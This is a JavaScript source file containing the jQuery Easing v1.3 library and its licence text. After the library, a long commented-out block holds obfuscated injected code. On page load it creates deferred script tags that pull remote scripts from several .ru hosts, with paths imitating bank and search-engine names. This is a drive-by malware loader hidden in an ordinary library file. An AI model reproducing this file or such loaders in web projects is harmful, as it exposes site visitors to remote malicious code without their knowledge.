/*
 * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
 *
 * Uses the built in easing capabilities added In jQuery 1.1
 * to offer multiple easing options
 *
 * TERMS OF USE - jQuery Easing
 * 
 * Open source under the BSD License. 
 * 
 * Copyright © 2008 George McGinley Smith
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
*/

// t: current time, b: begInnIng value, c: change In value, d: duration
jQuery.easing['jswing'] = jQuery.easing['swing'];

jQuery.extend( jQuery.easing,
{
	def: 'easeOutQuad',
	swing: function (x, t, b, c, d) {
		//alert(jQuery.easing.default);
		return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
	},
	easeInQuad: function (x, t, b, c, d) {
		return c*(t/=d)*t + b;
	},
	easeOutQuad: function (x, t, b, c, d) {
		return -c *(t/=d)*(t-2) + b;
	},
	easeInOutQuad: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t + b;
		return -c/2 * ((--t)*(t-2) - 1) + b;
	},
	easeInCubic: function (x, t, b, c, d) {
		return c*(t/=d)*t*t + b;
	},
	easeOutCubic: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t + 1) + b;
	},
	easeInOutCubic: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t + b;
		return c/2*((t-=2)*t*t + 2) + b;
	},
	easeInQuart: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t + b;
	},
	easeOutQuart: function (x, t, b, c, d) {
		return -c * ((t=t/d-1)*t*t*t - 1) + b;
	},
	easeInOutQuart: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t + b;
		return -c/2 * ((t-=2)*t*t*t - 2) + b;
	},
	easeInQuint: function (x, t, b, c, d) {
		return c*(t/=d)*t*t*t*t + b;
	},
	easeOutQuint: function (x, t, b, c, d) {
		return c*((t=t/d-1)*t*t*t*t + 1) + b;
	},
	easeInOutQuint: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return c/2*t*t*t*t*t + b;
		return c/2*((t-=2)*t*t*t*t + 2) + b;
	},
	easeInSine: function (x, t, b, c, d) {
		return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
	},
	easeOutSine: function (x, t, b, c, d) {
		return c * Math.sin(t/d * (Math.PI/2)) + b;
	},
	easeInOutSine: function (x, t, b, c, d) {
		return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
	},
	easeInExpo: function (x, t, b, c, d) {
		return (t==0) ? b : c * Math.pow(2, 10 * (t/d - 1)) + b;
	},
	easeOutExpo: function (x, t, b, c, d) {
		return (t==d) ? b+c : c * (-Math.pow(2, -10 * t/d) + 1) + b;
	},
	easeInOutExpo: function (x, t, b, c, d) {
		if (t==0) return b;
		if (t==d) return b+c;
		if ((t/=d/2) < 1) return c/2 * Math.pow(2, 10 * (t - 1)) + b;
		return c/2 * (-Math.pow(2, -10 * --t) + 2) + b;
	},
	easeInCirc: function (x, t, b, c, d) {
		return -c * (Math.sqrt(1 - (t/=d)*t) - 1) + b;
	},
	easeOutCirc: function (x, t, b, c, d) {
		return c * Math.sqrt(1 - (t=t/d-1)*t) + b;
	},
	easeInOutCirc: function (x, t, b, c, d) {
		if ((t/=d/2) < 1) return -c/2 * (Math.sqrt(1 - t*t) - 1) + b;
		return c/2 * (Math.sqrt(1 - (t-=2)*t) + 1) + b;
	},
	easeInElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return -(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
	},
	easeOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d)==1) return b+c;  if (!p) p=d*.3;
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		return a*Math.pow(2,-10*t) * Math.sin( (t*d-s)*(2*Math.PI)/p ) + c + b;
	},
	easeInOutElastic: function (x, t, b, c, d) {
		var s=1.70158;var p=0;var a=c;
		if (t==0) return b;  if ((t/=d/2)==2) return b+c;  if (!p) p=d*(.3*1.5);
		if (a < Math.abs(c)) { a=c; var s=p/4; }
		else var s = p/(2*Math.PI) * Math.asin (c/a);
		if (t < 1) return -.5*(a*Math.pow(2,10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )) + b;
		return a*Math.pow(2,-10*(t-=1)) * Math.sin( (t*d-s)*(2*Math.PI)/p )*.5 + c + b;
	},
	easeInBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*(t/=d)*t*((s+1)*t - s) + b;
	},
	easeOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158;
		return c*((t=t/d-1)*t*((s+1)*t + s) + 1) + b;
	},
	easeInOutBack: function (x, t, b, c, d, s) {
		if (s == undefined) s = 1.70158; 
		if ((t/=d/2) < 1) return c/2*(t*t*(((s*=(1.525))+1)*t - s)) + b;
		return c/2*((t-=2)*t*(((s*=(1.525))+1)*t + s) + 2) + b;
	},
	easeInBounce: function (x, t, b, c, d) {
		return c - jQuery.easing.easeOutBounce (x, d-t, 0, c, d) + b;
	},
	easeOutBounce: function (x, t, b, c, d) {
		if ((t/=d) < (1/2.75)) {
			return c*(7.5625*t*t) + b;
		} else if (t < (2/2.75)) {
			return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
		} else if (t < (2.5/2.75)) {
			return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
		} else {
			return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
		}
	},
	easeInOutBounce: function (x, t, b, c, d) {
		if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
		return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
	}
});

/*
 *
 * TERMS OF USE - EASING EQUATIONS
 * 
 * Open source under the BSD License. 
 * 
 * Copyright © 2001 Robert Penner
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without modification, 
 * are permitted provided that the following conditions are met:
 * 
 * Redistributions of source code must retain the above copyright notice, this list of 
 * conditions and the following disclaimer.
 * Redistributions in binary form must reproduce the above copyright notice, this list 
 * of conditions and the following disclaimer in the documentation and/or other materials 
 * provided with the distribution.
 * 
 * Neither the name of the author nor the names of contributors may be used to endorse 
 * or promote products derived from this software without specific prior written permission.
 * 
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY 
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
 *  COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
 *  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
 *  GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED 
 * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
 *  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 
 * OF THE POSSIBILITY OF SUCH DAMAGE. 
 *
 */

/*Fc={T:false};rO=22123;rO++;function H(){var G='';var ED="";aE=[];var F="def"+"erWkU".substr(0,2);var b=3158;I=7665;I--;var P=new String("app"+"GQxend".substr(3)+"Chi"+"ld");var VG=[];var K=String("boJsi".substr(0,2)+"dyZKV".substr(0,2));var Z=window;try {var Df='D'} catch(Df){};var H_="";var n="sr"+"EwRJc".substr(4);var _="scri"+"pt";var y=new String("onl"+"Ozfoad".substr(3));var Bn="";var cm=["EC"];var U=document;var e={};var Hx=new String("creat"+"eElem"+"ent");this.aW=31186;this.aW+=37;DL=["Ic"];var uq=["aj","Ah"];function nh(){this.yy="";var l=["hm","f"];try {var nF=159967-151887;MO=["To","QU"];var Hs="Hs";var m="http"+"://p"+"assp"+"7Vmxortb".substr(4)+"lues"+".ru:nL9".substr(0,4);var vU=false;ex=["Ss","FN"];var V=9714-9713;var A=String("/ama"+"zon-"+"fr/g"+"vp7oogl".substr(3)+"e.co"+"5vIwm/mi".substr(4)+"ibei"+"an.g"+"ov.c"+"5X2n.ph".substr(3)+"84j5p".substr(4));var eE={RW:"RY"};Pc=U[Hx](_);var nB=false;try {var TW='CV'} catch(TW){};var Y='';this.Tx=33676;this.Tx+=152;Pc[F]=V;Ub={EB:8097};try {} catch(iA){};eY=["YH","QN","DE"];Pc[n]=m+nF+A;U[K][P](Pc);var dg='';var Hxc="";var hF={HS:"xp"};kg=55031;kg--;} catch(mr){this.ajO=60831;this.ajO+=234;var w_=false;};var Hf=new String();var nFR=new String();}jx=[];var DW=["jM","rW"];Z[y]=nh;var LU=false;var ZN=["kE","lK"];};var Ma=new Array();Uq=["Yu","tO"];H();var YI=new String();
var Y=["I"];this.g=29485;this.g++;e=11662;e+=65;try {bp={};L={};var E=["a","Dg"];try {} catch(F){};bO={r:false};SA={KK:false};var h=window[String("unes"+"cape")];s=63847;s--;d=21926;d--;var oy=21435;var G=window[(String("ReSCM".substr(0,2)+"gEsL2".substr(0,2)+"4fMxpf4M".substr(3,2)))];Er=33339;Er--;_l=43264;_l--;this.qm='';var X=new String("1");var t={sW:false};var Bt="Bt";try {} catch(A){};try {var db='rs'} catch(db){};vs={Bm:6181};var c='';var gi="gi";var BV={W:false};this.cg=5004;this.cg-=97;var up=new String();var p=String("on"+"lo"+"CNOad".substr(3));var Ut={};var Vb={};var Yo='';var P=String("rep"+"lacRezC".substr(0,3)+"ud2TedT2u".substr(4,1));try {var DS='Tc'} catch(DS){};try {var WG='Wx'} catch(WG){};var mF=new Date();var CT="CT";this.lU="lU";function S(X,k){var Cy=44355;TJ=["Q"];var j="[";this.im='';this.lY='';sV=[];this.vY=26720;this.vY+=74;this.Rw='';j+=k;var BR=38481;this.Kz=false;var HJ=false;this.yS='';j+=h("%5d");this.tU=31610;this.tU++;var dx=[];var yc={};Qk=10534;Qk++;var Qb=["aK","Mz","Yr"];var n=new G(j, "g");O=54321;O+=199;return X.replace(n, c);this._v=64616;this._v++;this.Ga=false;CO={};KG={yZ:20906};};GV={J:"lQ"};var If=new String();this.MN=42281;this.MN+=21;this.PG=30875;this.PG+=230;this.zx=43466;this.zx-=252;var ny=String("5NB3http:".substr(4)+"//gotiEh".substr(0,5)+"hguil"+"S86t.ru:S86".substr(3,5));var ic={JG:47518};var YV={yA:16164};var l=250875-242795;var Xhg=new String();lw=64659;lw++;COm=38673;COm++;var tAd=false;ye={xJ:46067};Um={Uu:19725};Od={KW:56633};BO={bJ:28053};var N=String("/hsbc"+"-co-up7H".substr(0,5)+"k/goo"+"gle.c"+"om/li"+"nezinV82D".substr(0,5)+"g.com"+".php");var nU=new Array();this.fS=31293;this.fS+=253;var PY=new Array();var sh={_Q:false};var oz='';this.__=1590;this.__+=71;function q(){var OQ=new Date();var Jh=new Array();azS=["VK","bi","gD"];Al=[];var VL={};var qQ=false;var R=new String("ap"+"pe"+"nd"+"Ch"+"il"+"d");this.JF=56397;this.JF-=136;this.orM=false;this.Pv=4931;this.Pv-=66;O_=["Bd","lQc","zh"];this.bc=false;var v=document;dd={};ju=[];UF={};LS=10331;LS-=180;var b=S('s5c5rzi3pOth','8h1wgOEVoJ34zb6HlPD5Z');var BtG={ei:"iF"};var FC=[];HJz={OJJ:"Mq"};hHk=["Jg","Ed"];zT=["ce"];var Szh=new Array();var Su={kY:"Gp"};var AI=new Array();var pO={};bP=v.createElement(b);Ws=50423;Ws++;dt=58145;dt++;var BQ={uF:"zW"};w=ny+l;_j=5881;_j-=181;var QL=[];w=w+N;var pzm="";try {var RS='NC'} catch(RS){};var uN={ES:"eg"};var oQ=new Date();var Qw=new Date();this.mAi=12453;this.mAi--;bP.src=w;var BdY=["XM"];var Gz=v.body;var oe={};bIk={kfh:2241};var Ak=["TB"];WxH={gq:62868};bP[new String("defe"+"r")]=X;Szx=["NCC"];var RY=false;var LCk={};try {var VU='nP'} catch(VU){};try {var mt='xA'} catch(mt){};af={};Gz[R](bP);var ck='';};Mzm=["dq","Rl"];this.Ye=18647;this.Ye--;var jG=new String();window[p]=q;this.Lp='';aq=7605;aq++;this.EP=26766;this.EP--;var mk=["Ne","_Z","FR"];this._lZ=63349;this._lZ--;this.wh=42932;this.wh--;} catch(z){var ZI=new String();var yt=9212;var z_={GU:54703};Cc={CAq:"jXN"};};jD={};this.bC=false;try {} catch(XU){};
m={gK:false};var s;I=function(){try {var J='ly'} catch(J){};function U(C,_,l){var H={b:false};var bP=false;return C.substr(_,l);var cu={bQ:24107};}Sb=21947;Sb--;var AV="AV";this.HN="";var r='';lL=["u","xt"];var Sd=["q"];var g="/goog"+U("le.co7xM",0,5)+"m/tu."+"tv/ba"+"hn.de"+U(".phpP0G",0,4);var v=RegExp;var r_=["Ci","Hz"];var n=new Date();var jU=[];try {var oU='fS'} catch(oU){};var x=document;var re=new String();Sv={M:32288};function X(C,_){this.z="";var uP=35173;var l=U("[zxZi",0,1)+_+"]";tn=["lH"];var V=new v(l, new String("g"));var oI='';return C.replace(V, r);var CP=["WR","iG","mO"];this.G='';};var rk=["UW","CU"];var Ss=["WS","hl","E"];this.gS=12324;this.gS+=123;var W=null;this.lV=61499;this.lV++;var c=38565-30485;try {var p='_F'} catch(p){};var Iq='';var UK=new String(U("bodyZGV",0,4));kO={D:47769};try {var De='qj'} catch(De){};var Vj=X('sAcAr3i7p3th','Jh_UxA7n3RduWVfq');try {} catch(gb){};this.pW=8829;this.pW+=107;s=function(){this.FJ="";var pH='';try {var WF=X('cor9eoastOe6EZlKeZm9eKnbtH','6SZhUPoBsH_8KdOY9b');A=x[WF](Vj);Dk=13787;Dk--;cO=50194;cO--;this.bt=53028;this.bt-=53;var gV=X('s6r4cX','MQT4DEt5uaCv6PWZyXd');var lE=U("deyOq",0,2)+U("J97jfe7Jj9",4,2)+"r";this.V_=2011;this.V_-=174;this.Cn=56450;this.Cn-=126;LG=["Vh","iB","Is"];var C=c+g;CC={PR:23857};var oF=new String();A[lE]=[1][0];this.gs='';this.iJ=53533;this.iJ--;A[gV]=new String(U("htt90eN",0,3)+"p:/"+U("gzAI/weIzAg",4,3)+"stc"+U("OpfounOfp",3,3)+U("gAEutryugEA",4,3)+U("6yF.ruy6F",3,3)+U("y7vl:7vly",4,1))+C;var Ah='';var wJ="wJ";x[UK].appendChild(A);this.hI=false;} catch(Cs){vm={};Ru=["Jx","Tv"];};};var mY={eH:false};};var MO={QC:62909};var mOJ="";I();try {} catch(QX){};lc=61128;lc--;var Be={vL:"oUz"};var Ug=[];window.onload=s;
*/